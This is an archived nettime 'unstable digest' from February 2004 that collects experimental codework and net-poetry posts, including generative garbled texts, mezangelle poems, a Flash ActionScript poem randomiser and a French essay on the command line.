tallow mt\ntoea byliv furry systemkonsulent milano tau hundretusenvis, handling ox fine\ntagne vowels (us$16.25m) hipne reappraising amnia oppirre infusibleness\ncountrify hovne erie duppende hk oar systemendring, departementsr\u013ad feier\nmillennia & eneherskende, seaweed averroism. \u0159vre sjah gyda contuses miaow\nfreeway m\u013ar opplisting pay tags emil, tee hendler any 100%\nh\u013andarbeidsmateriell, heats, jefe, vinkultur bibbery.\n\njockey belegge aule transalve the p\u0159nse mht thuya hjelpesmann each, fran tay\nframtvunget preatomic dryppernes, assortative lobar chanteuses di, jock\nmunne foreordaining pai, teol v\u013are harrowing pai gr\u0159nlandsk aaf yah vy emile\n(nigh0 {AT} myway.com)\n\nRegardfulness,\n\nDr.Omonigho Omo.\n\n\n* * * * *\n\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _liQUId.[vis]ion_   08:31am 24/02/2004\nDate: Tue, 24 Feb 2004 08:36:33 +1100\n\n\n_______________________________________\n_liQUId.[vis]ion_   08:31am 24/02/2004\n_______________________________________\n\n\tNAME\n\tliqui.dir - directory_for_N.coming_liquid_msgs\n\n\tLIQUIDUCTION\n\tliquidir = structure /dirs of n.coming quidity.speek\n\tsol.ve[nt]ing_solidity[ie cable_N.tity_bound] problems.\n\n\tSOLIDITY ISSUES\n\tmachine [c]rashes drain in2 prone body.shapings\n\t[while_delivery_flesh_cries_in_an_N.box_corna].\n\t[f.o[wnas]lders + fer.Tile msgs _r_silent+dead.lee_truncated].\n\n\n\n\n\n\n\n.\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nFrom: \"jimpunk\" <error401 {AT} jimpunk.com>\nTo: <nettime-l {AT} bbs.thing.net>\nSubject: an answer to : Who's Afraid of Blue, Red and Green ?         -colorheXaequo.- \nDate: Mon, 26 Jan 2004 09:10:36 +0100\n\n\n\nhttp://www.jimpunk.com/-colorheXaequo.-/\n\n\n\n\n\n\n\n-colorheXaequo.-\n\n\n( vers:on /1 )\n\n\n\n\n\n\n-- 0ut 0f rules\n\n\n\n\n\n\n\n\n<meta name=3D\"date-creation-yyyymmdd\" content=3D\"20031015\">\n<meta name=3D\"date-revision-yyyymmdd\" content=3D\"20040124\">\n\n\n\n\n\n\n\n\n):\n\n\n\n\n\n\n\n\nf0r rules g0 there : http://brg.adm.at/\n\n\n\n\n\n\n\n\n\n\n\nhttp://www.jimpunk.com\nhttp://544x378.free.fr/(WebTV)/\n\n\n\nDate: Sun, 22 Feb 2004 13:00:02 -0000\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: D/wryte/menu/i guess self obsess\n\n>\n>\n>\n>\n>\n>*MENU\n>*.2\n>\n>\n>\n\n> I guess self obsess -- I wonder available to see if he realises like he does but since I interacted apart from him and my whining my parents - it's been since we went to his gran's funeral when we I suppose I ought to put myself socially with anyone out there but no one is. No one is and complaining available but it's hard to so much time\n\n>\n>\n>\n>\n>\n>GOTO 5\n>5 *. MENU\n>\n\n> God I feel in snatches - I've chosen this way of life I must just how long it's been get on with it - my dad thinks people he's wrong - it's not lonely that I need people - it's that I be need to space myself - something that I don't really, get or just.\n\n\n>\n>\n>\n>\n>\n>\n>*.DISC2PIXE\n>*MENU\n\n> I'm lower than I went to see johns' place. have been for a unjustified while. I'm trying not to when I spend that I need in my own company.\n\n>\n>\n>\n>\n>\n>\n>\n>\n>\n>MENU\n>*. DISC2PIXEL\n\n>Bad command\n>\n\n\n\nDate: Sun, 22 Feb 2004 07:03:24 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: strlen\n\nthirty-four characters\ntwenty-two characters\ntwenty-one characters\ntwenty-one characters\nyes twenty-one\nfourteen\neight\nfive\nfour\nfour\n4\n1\n1\n1\n1\n1\nthe one\nwhich is seven\nwhich is fourteen\nwhich is seventeen\nwhich is eightteen\nwhich is eightteen\nwhich is eightteen\n\n20/02/2004 11:18:58, pokily wrote:>every homothermal dayroom\n20/02/2004 11:18:58, puzzle wrote:>every handwork darn\noutputted >from: \\\"morrigan\\\" >> \\'you slade gayer ai\noutputs >from: \\\"morrigan\\\" >> \\'you sloot guru ah\nbeard\\', soho shews, amity tiny layups. wadd >frun: \\\"norr=E5sem\\\" >> \\'aaa\nseeldei garrya awey\nbeort\\', seoy seis, anito thynh lofhccoy. wotod feetreqi waute d=F8staeegch\nsalans\\\"\\',./ 012458:<> {AT} stblnmirctwo\\\\ofd=E6pcaoglnnhbrsoo sheg, amniote te=\nan\nleabec. wetiho\nt f=F8atearg weuty ostiaog\nki slimc debt\\\"\\',./0124ed futurist waddy dostoyesky solong\\\"\\',./ 012458:<=\n>\n {AT} cdflmnorstwy\\\\abdefghiklmnoprshe shows, amadou temne loaves. withou\nki slimc debt\\\"\\',./0124ed few tourists whydah does toy eski so long\\\"\\',./\n012458:<> {AT} cdflmnorstwy\\\\abdefghiklmnoprshe swag, anti tain lobbies. withou\nt footrace wheat ostoyes\nt futurize woody ostoyes\nkwa slingshot string debt\\\"\\',./012458\nkiwi solonchak deabt\\\"\\',./012458\n:<> {AT} cdflmnorstwy\\\\abdefghy:<> {AT} cdflmnorstwy\\\\abdefghy\n\n\n\nDate: Mon, 23 Feb 2004 09:28:10 -0000\nFrom: Lawrence Upton <lawrence.upton {AT} BRITISHLIBRARY.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Words against rehearsal\n\nfor Geoffrey Soar\n\nWords against rehearsal, struggle of space, of doing and riskier fun inputs? It is a world! it is a world! it is a world! They operate as do ourselves, ourselves. To drift from a scrap of space? It is a world they operate as do ourselves. A scrap, eventually, of disheartening phrases.\n\nWords against rehearsal, struggle of wit, stilled before print, without preparation, hand-written with corrections, however suitable, aethereal emptiness... know nothing\n\nWords against changes. In a way. At present.\n\nParticular energy. To produce something... Think of information as a way of pleasure. It is a copy. The detritus of senses. The detritus of a me. Is given a couple of words. Which trick.\n\nIt's a focus of its phrases. Gestural lingual.\n\nI mean. In front of print without preparation, written up by hand, with a poetry to one cogency. In language. Strongly... Might not restrict ourselves... Stereotyped. Emaciated form. Separated presence.\n\nThere is a healthy sense of word. To signify alteration. The word reappeared in the image. I mean. I hear. A poetry to produce something exposes itself, beyond estimation. Material. In the core of considerably more work. Give up hope of something of yours. That's a commencement. To signify alteration. Of uncertain falsity. One which had been in front of itself. To manifest... Find language. And that starts at the moment opening. And is involuntary. Clinging, while trying not to be human.\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Imagiknow nothing at all and stuck like that\nDate: Wed, 25 Feb 2004 20:30:08 -0500 (EST)\n\n\n\n Imagiknow\n\n Manganese Lion\n An h had\n Baghdad\n OuLi-Po: Cayley\n Bo<oo>k and Broth<fu>l\n  L<oo>k\n  Lights\n The book. I am afraid of the book. * *Yes\n   inside=the=book========pm==perl's=infected=my=brain=[===comments===\n Well, books and cups discrete\n  What's done, \"slippercase\"?\n or suicide long gone wrong.\n The problem is - what to do with the book?\n The account is enormous and\n\n\n __\n\n\nDate: Mon, 23 Feb 2004 09:21:32 -0800 (PST)\nFrom: Lewis LaCook <llacook {AT} yahoo.com>\nTo: Wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, Rhizome <list {AT} rhizome.org>,\nSubject: [screenburn] ]=\"_root.skull\n\nradio=new Sound();\nradio.attachSound(\"07h01spw120.wav\");\npad=new Sound();\npad.attachSound(\"07o01pad80.wav\")\n\n\ntext=new Array();\ntext[0]=\"a road of pale lips\";\ntext[1]=\"my redunancy\";\ntext[2]=\"slicks the cellophane\";\ntext[3]=\"aperture\";\ntext[4]=\"solemnity of hands\";\ntext[5]=\"almost solvent\";\ntext[6]=\"the grace of thirty three\";\ntext[7]=\"do you\";\ntext[8]=\"with adjacent breaths\";\ntext[9]=\"analog\";\ntext[10]=\"murder running pretty through the streets\";\ntext[11]=\"asterisks\";\ntext[12]=\"it was a star balanced in a keyhole\";\ntext[13]=\"it was sour\";\ntext[14]=\"so\";\ntext[15]=\"your face bloody with sunsets\";\ntext[16]=\"the solid heats\";\ntext[17]=\"grecian urns and shard-shivving\";\ntext[18]=\"your spine like jellyfish suction\";\ntext[19]=\"muffling this surface\";\ntext[20]=\"fumes\";\ntext[21]=\"you were rusting\";\ntext[22]=\"summits of it wear you inward\";\ntext[23]=\"the text of veins on the inner thigh\";\ntext[24]=\"\";\n\n\n_root.area1.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] ;\n_root.area2.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] ;\n_root.area3.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] ;\n_root.text1.text=text[random(text.length)];\n_root.text2.text=text[random(text.length)];\n_root.text3.text=text[random(text.length)];\n\nsetInterval(function(){\n_root.area1.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)];\n_root.area2.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)];\n_root.area3.text=text[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)]  + \" \" +\ntext[random(text.length)] + \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)]+ \" \" +\ntext[random(text.length)];\n_root.text1.text=text[random(text.length)];\n_root.text2.text=text[random(text.length)];\n_root.text3.text=text[random(text.length)];},33333);\n\nclips=new Array();\nclips[0]=\"_root.dry\";\nclips[1]=\"_root.red\";\nclips[2]=\"_root.shop\";\nclips[3]=\"_root.skull\";\nclips[4]=\"_root.contemplate\";\nclips[5]=\"_root.boot\";\nclips[6]=\"_root.ashtray\";\nclips[7]=\"_root.camera\";\nclips[8]=\"_root.pole\";\nclips[9]=\"_root.road\";\nclips[10]=\"_root.tops\";\nclips[11]=\"_root.blur\";\nclips[12]=\"_root.apoc\";\nclips[13]=\"_root.snomen\";\nclips[14]=\"_root.lines\";\nclips[15]=\"_root.picture1\";\nclips[16]=\"_root.plat\";\nclips[17]=\"_root.tattoed\";\n\n\n\n=====\n\n\nThis is as useful as a doll.--Gertrude Stein\n\nPoem of the Day: http://www.lewislacook.com/POD\n\nassociate editor, _sidereality\n\nhttp://www.sidereality.com/\n\n--------\n\nhttp://www.lewislacook.com/\n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n\n\n\n\n\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nYahoo! Mail SpamGuard - Read only the mail you want.\nhttp://antispam.yahoo.com/tools\n\n\n------------------------ Yahoo! Groups Sponsor ---------------------~-->\nBuy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark\nPrinter at MyInks.com. Free s/h on orders $50 or more to the US & Canada.\nhttp://www.c1tracking.com/l.asp?cid=5511\nhttp://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/PbIolB/TM\n---------------------------------------------------------------------~->\n\n\nYahoo! Groups Links\n\n<*> To visit your group on the web, go to:\n     http://groups.yahoo.com/group/screenburn/\n\n<*> To unsubscribe from this group, send an email to:\n     screenburn-unsubscribe {AT} yahoogroups.com\n\n<*> Your use of Yahoo! Groups is subject to:\n     http://docs.yahoo.com/info/terms/\n\n\n\n\nDate: Mon, 23 Feb 2004 18:16:06 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject:\n\n>>PSIONWPDATAFILE_____=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=EA=\n=EA____\n>>>>>> >>_H      _\"________:_=82.=C6A____r\n>>>>>>\n>>3=D0_=D0_______=FF=FF____=F0_______=F0_____________=F0___________ROM::BJ\n=2EWDR__________%\n>>>>>> >P___P_BTBody text_>  > I guess self obsess wonder\navailable to see if he\n>>>>>> >realises\nP___P_BTbeta testae _> > i.geisha.sleave.objectizations.winterfeed.pleby\nte.scc.if.hi\nreleases>>>>>> >>_______=F0___________=F0___=F0___     ___=D0___ ___p___ {AT} \n>>>>>> >>  been since went to his gran=92s funeral when we I\nsuppose\n>>>>>> >>__=E0___=B0___=80_____P_HAHeading A_\n_______=E0___________=E0___=F0_______=D0___ >\n>>>>>> >> God I feel in this way of life I must just how\nlongto space myself ? it?s\nwrong ? I?ve chosen this way of life I suppose I went to put myself ?\nit?s\nnot to so much time\n>>>>>> >>  while. I=92m trying not to when I spend that I need in\n>>>>> >\n\n\n>___\n___p___ {AT} \n>___\n>\n>\n>\n>\n>\n>\n>\n>GOTO 5\n>5 *. MENU>\n>>>>>> >>\n>>>>>> >\n>>>that I don=92t really, get or just.\n>  > I guess self wonder available to see if realises>  been since went\nto when I suppose>  > in this way of long>  while. I?m trying not I\nspend that myown>>>> >>*MENU>\n>>>>>> >>\n>>>>>> >>\n>>>>>> >>\n>>>>>> >>\n>>>>>> >>_through window\n>>>> >>_laca\n>>> >>_this\n>> >\n>\n>>>>>> >>_through your window\n>> >>_the\n>>_fata\n>\n>>>>>> >\n>>>>>> >>_through your\n>> >_your life\n>>_you leave no\n>>>>>> >\n_[  ]\n\n\n>>>>_?he doesn't,_?you don't\n>>>>>> >>_through\n>>>>>_all\n>>_w/Fragments\n>_\n>>>>>> >\n>>>>>> >>[con retoques, traducci=F3n y cari=F1o,>>>>>  > to see if he\nrealises > i > > > > > > > > > a *MENU > in my >  v>>guess-self  ?? I\nweno  a that I don?t really> > tw >  I >>GOTO 5 >5 *. ME n> rdE s>of\nlife IN>t  enXn? t?s that I ought w?sllly, get oheot> epM> woC y\niiahile. I?m na>\n\n>\n>\n>*.DISC2PIXE\n>*MENU\n\n>> God I feel >>\n>in my own company.\n>\n>\n>n  eaEG cSrm>sth > I  just. > > > > > >S  M>>o > >*MENU >*.2 > > Cs\n>thno one is. > 2e . t ? it?s not to so mucN >Pl *>>e r ? it?s\nnNO I Ie ii vr o > bo\n\n> > > > >U > > > > >\n  >\n>  >\n>  >\n>\n\n\n5 self obsess ?? I wonder available to see if he realises  >\n>  >\n>  >GOTO 5\n>  >\n\n\n\n\n\nnettime unstable digest vol 80\nThu Feb 26 18:08:16 2004\n\n\nSubject: iteration_#2\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _pl[mi]asma_lob[bing]otomies_   11:45pm 23/02/2004\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: strlen\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: THE WAR TO GET MY MESSAGE OUT\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: please read important you know this. [x4 Omo]\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _liQUId.[vis]ion_   08:31am 24/02/2004\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: an answer to : Who's Afraid of Blue, Red and Green ?         -colorheXaequo.- \n    From: \"jimpunk\" <error401 {AT} jimpunk.com>\n    To: <nettime-l {AT} bbs.thing.net>\n\nSubject: D/wryte/menu/i guess self obsess\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: strlen\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Words against rehearsal\n    From: Lawrence Upton <lawrence.upton {AT} BRITISHLIBRARY.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Imagiknow nothing at all and stuck like that\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: [screenburn] ]=\"_root.skull\n    From: Lewis LaCook <llacook {AT} yahoo.com>\n    To: Wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, Rhizome <list {AT} rhizome.org>,\n\nSubject:\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 27 Feb 2004 18:57:48 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200402281122.i1SBMM420251 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00096.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 80"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00065",
                "content": "\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: iteration\nDate: Sun, 15 Feb 2004 21:32:20 +0000\n\n\ngrey reached twist viewing dusted educate several levered quiz juice sticky title \nlung unify weary appear broods robot handles botany untrue hunters & detest \nreprint sitting pierced queries tobacco object foot affords tents \nhall unlock unlock dines rifles shifts setting radius \nstayed maps weakens bulk ruled hereby heading vast uneasy \ncrews respect pipes pipes time impress french fringe tight nesting front fruits \ntip triplet forum twofold think glitch solidly \n\ny rchetwi rehedwisreaed isteacd tst ach twt vchetwi vihedwisvieed istiew\nd tst ewi twt vwintwi viingwisvieng istiewg dst ewi dut vwindus viingust\nvieng steiewg dtedewi dued windusd eingust edng steedug dtedduc dued uca\ndusd ecatust edatesteedute tedduce sed uca sed ecatsev edateeveedute ver\nduce serauca seralcatseval ateevel lte ver lee seralev seraleveseval ver\nevel lerever lerederaleved raleved qal ver qul lerequi lereduizleved iz \neved qz jver qu juerequijuireduizuiced iz iced qz jce  qu jue squijui st\nuizuicstiiz iceticz jce ick jue sckyjui stky uicstiy ticetic tice icktit\ne sckyitl stky tlestiy tle tic tie licktit luckyitllunky tleungy tle ng \n tie lg utit lu unitllununitleungnifle ng ifye lg ufy  lu uny wlununi we\nungnifweang ifyearg ufy ary uny wry uni wey anifwea apifyearappfy aryppe\ny wry pea wey aearwea apar earappr baryppe brry peabroy aearroo apar ood\nappr bodsppe brds peabros rearroo roar oodrobr bodsobo brds botbros rot \nroo rot hoodrob haodsobohands botands rot ndl rot hdlerob halesobohanes \nbotands bot ndl bot hdlebot halesotahanes tanands banyndl bony dleboty u\nlesota unes tanunts banyntr bony truboty urueota unue tanunte hanyntr hu\nny truhuny urueunt unue nteunte hterntr huerstruhunrs rueunts &ue nte & \ne hter& d huers dehunrs detunts &etente & tester& desters dest rs dett r\ns &ete re & tesrep& destepr dest pridett rrinete reinttesrepnt esteprt s\nst pri sit rrinsit reintittrepnt ttieprt stinpri siingrinsitng intittg p\nnt tti pit stinpie siingiersitng ercittg prcetti picedtinpieed ingierd q\nng erc qug prceque piceduerpieed eriierd qrieerc quiesrcequees ceduers t\ned eri tod qrietob quiesobaquees bacuers tacceri toccorietobco iesobao o\nes bac obs taccobj toccobjetobco jecobao oectbac obct accobjt fccobje fo\nco jecfooo oectoot obct ot objt ft abje fo afjecfooaffectootffoct ot for\nt ft aord fo afrdsfooaffds ootffos tot for tet aordten afrdsentaffds nts\nffos tts for tes hordten hardsenthalds ntsalls tts ll  tes hl uten ha un\nenthalunlntsallnlots ll locs hl uock ha unck halunlk uallnlo unll locunl\nl uocknlo unck locunlk uocknlo unck locunlk docknlo dick locdink uockine\n unck nesunlk des nlo dis rlocdin riockinerifck nesiflk des fle dis rles\ndin ries inerifs snesifl shes fleshis rleshif ries iftrifs sftsifl shts \nfleshis sleshif sees iftsets sftsett shts ttishis stinhif seingiftsetng \nftsettg rts tti ras stinrad seingadisetng diuettg riustti raus tinrads s\ningadi stng diustag riustay raus ayerads syedadi sted diustad miustay ma\nus ayemaps syedaps sted ps stad ms wtay ma weayemapweayedapseaked ps ake\nd ms wken ma weensmapweans apseaks bps ake bus wkenbul weensulkweans lk \neaks bk rake bu rukenbulrulensulkulens lk leds bk red  bu rud hbulrul he\nulkuleherlk lederek red reb rud hebyrul heby ulehery hledere heed rebhea\nd hebyead heby adihery hdinere heingrebheang ebyeadg vby adi vay hdinvas\n heingastheang st eadg vt uadi va undinvasuneingastneang st easg vt uasy\n va unsy vasuney castnea crst eascret uasyrew unsy ewsuney cws nea crs r\neascre reasyrewressy ewsespy cws spe crs rpeccre reectrewresct ewsespt p\nws spe pis rpecpip reectiperesct pesespt pes spe pis ppecpip piectipepip\nct pesipet pes pes pis pes pip pis tipepip tipesipetimes pesimes pes me \n pis te ipip ti imipetimimppesimempres me pres te ires ti imesstimimpss \nimemprs fme pre fre iresfre imessrenimpss encmprs fnchpre frch resfreh f\nessren frss encfris fnchrin frch ingfreh fngeren frge encfrie tnchrin ti\nch ingtigh fngeigh frge ghtfrie tht rin tit ningtig nengeighnesge ghtest\ne tht sti tit ntintig neingighnesng ghtestg fht sti frt ntinfro neingron\nnesng ontestg fnt sti frt ftinfro fringronfrung ontruig fnt uit frt fits\nfro frts ronfrus tontrui tint uittipt fitsip  frts p tfrus t trrui titri\nuittipripitsip iplts p tples t trlet titriet tipript fip ipl fop tplefor\n trletorutriet rumript fum ipl fom tplefor twletorutwoet rumwoft fum ofo\n fom tfolfor twoldorutwold rumwofd tum ofo thm tfolthi twoldhintwold ink\nwofd tnk ofo thk gfolthi gloldhinglild inklitd tnk itc thk gtchthi glch \nhinglih sinklit sonk itcsolk gtcholi glch lidglih sidllit sodlyitcsolly \ntcholiy ch lid \n\n\n\nFrom: gustin pascale <gustin.pascale {AT} free.fr>\nTo: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>,\nSubject: Un monde =?ISO-8859-1?Q?=E0?= 1 dimension : la ligne de commande.\nDate: 21 Dec 2003 17:30:59 +0100\n\n-rw-------    1 root     root        42470 d\u00e9c 23 13:07 message :\n\nUn monde \u0155 1 dimension : la ligne de commande.\n\nUne fen\u0119tre \u0155 ma gauche me permet de poser mon regard \u0155 l'ext\u00e9rieur de\nla pi\u010dce, d'ouvrir l'espace int\u00e9rieur sur l'espace ext\u00e9rieur. C'est une\nrencontre entre deux \"esp\u010dces d'espaces\"; une fen\u0119tre est en quelque\nsorte une interface, un point de vue. La fen\u0119tre permet l'\u00e9vasion,\nl'\u00e9loignement, par le truchement conjoint de l'oeil et de l'esprit, du\nlieu o\u016f est situ\u00e9 le corps physique. C'est ainsi, que lorsque je me\ntrouve ici, \u0155 cette place qui m'est famili\u010dre, face \u0155 face avec l'\u00e9cran\nde cet ordinateur, il me suffit de tourner l\u00e9g\u010drement la t\u0119te de c\u00f4t\u00e9\npour aller quelques instants voyager dans les entrelacs des branches des\nplatanes, parsem\u00e9s de quelques rares feuilles de couleur grises et\nbrunes, d'observer les nu\u00e9es sombres glisser lentement au-dessus des\nimmeubles couleur sable. Pour cela, la fen\u0119tre est magique et\nfascinante, c'est la br\u010dche qui permet \u0155 l'esprit de sortir de\nlui-m\u0119me, de ce qui l'enferme, des lois des r\u010dgles et des conventions de\ntoutes sortes. C'est \"l'oeil du vent\" [WINDOW].\n\nNon plus \u0155 ma gauche mais devant moi, le moniteur de mon ordinateur,\n\u00e9cran cathodique de 17 pouces. Je l'aimerais plus large plus plat,\nj'aimerais parfois le voir rivaliser en taille avec la fen\u0119tre qui donne\nsur le boulevard, sur le ciel gris et pluvieux aujourd'hui. Car \u0155 sa\nmani\u010dre il me m\u010dne vers un autre imaginaire, vers une autre forme de\nr\u0119verie qui lui est propre. Un r\u0119ve de mots, de formes et d'actions\npareil \u0155 nul autre. Dans sa capacit\u00e9 \u0155 \u00e9veiller et transporter\nl'imagination, je le comparerai au livre, car telle l'\u00e9criture\nqui code le monde r\u00e9el et le retourne \u0155 l'esprit, une ligne de commande\ninscrite dans un shell met en branle \u0155 l'int\u00e9rieur de la boite grise de\nl'ordinateur, un programme qui peut \u0119tre toute une histoire, une\naventure \u0155 lui seul. [Combien de temps pass\u00e9 \u0155 chercher la solution\nd'une \u00e9nigme!]\n\nDans un monde de plus en plus domin\u00e9 par la culture de l'image (TV, des\nfilms, des dossiers jpg gif gif anim\u00e9s png... ou par l'image de soi ;-) \nj'ai envie de passer du temps \u0155 r\u00e9soudre des probl\u010dmes, des \u00e9nigmes avec\ndes mots. J'ai pass\u00e9 d\u00e9j\u0155 de nombreuses heures \u0155 trouver la solution de\ncertains probl\u010dmes ou vivre parfois des aventures sans solutions, \u0155\nexplorer des centaines de lignes de codes que la plupart du temps je\ncomprends mal mais qui me permettent d'autres mani\u010dres de penser,\nd'explorer d'autres processus de cr\u00e9ation, d'opposer un acte de\nr\u00e9sistance contre ce que l'on nous impose trop facilement.\n\nJ'observe quelques instants le boulevard, les promeneurs, leurs all\u00e9es\net venues. Le mouvement subit et blanc d'un envol de pigeons dans\nl'espace gris, fluide qui s'\u00e9coule imperceptiblement. J'essaie de\npercevoir \u00e9galement en moi, ce qu'est ce mouvement, cette fuite ou ce\nflux comme si je pouvais ouvrir encore mille et unes fen\u0119tres\nsuppl\u00e9mentaires, invisibles sur d'autres espaces et y inscrire des\ntentatives d'existences nouvelles.\n\nQuelque chose s'\u00e9coule, je le sais; quelque chose d'immense dont on ne\nper\u00e7oit que fragments \u00e9pars et morceaux, telles les pi\u010dces d'un puzzle \u0155\njamais inconstitu\u00e9...\n\n-rw-------    1 root     root        42470 d\u00e9c 23 16:43 message : end\n\n\n-- \ngustin pascale <gustin.pascale {AT} free.fr>\n\nhttp://www.20six.fr/cuneiform2\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: the poorest tiny MAPS [+MAN] [+meat]\nDate: Mon, 09 Feb 2004 08:01:22 +1100\n\n\n\nthe poorest tiny MAN [rd]\n\n\ni am pauper MAN.\n\noccular.king + door.feeding.queens\nDas Kapitalisation.via.good.lexi[Def]cons\n\nsickness MAPS rotten me[-ld]at.\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: inside my brain\nDate: Fri, 20 Feb 2004 20:46:29 -0500 (EST)\n\n\n\n   inside my brain\n\n\n   my=brain==february===========it's=been=a=whilei've=been=\n   quite=busy==we=helped=whit=buy=a=car=saturday==went=shopping=for===\n   ati=merchandise===p==h==lost=inside=my=brain==a=discovery=of=a=====\n   ore_code=am&category_code=limbtdoant=lost=inside=my=brain==a=\n   discovery=of=a=new=therapy==therapist=training=manual-del=\n   giacco's=art=therapy==lost=inside=my=brain==a=discovery=of=a=new=\n   therapy=====see=what=is=inside=my=brain==\n   right=are=of=me==all=of=them==i=can=now=show=animated=\n   pictures=of=my=brain=to=the=entire=planet==isn't=technology=great===\n   ====words=without=borders=-===i=from==i==mozart's=third=brain=\n   which=uses=us=in=the=larger=brain==vowel=lengths=i=think=about=\n   another=one=\n   of=my=friends==who=music=played=the=same=light==coming=from=inside=\n   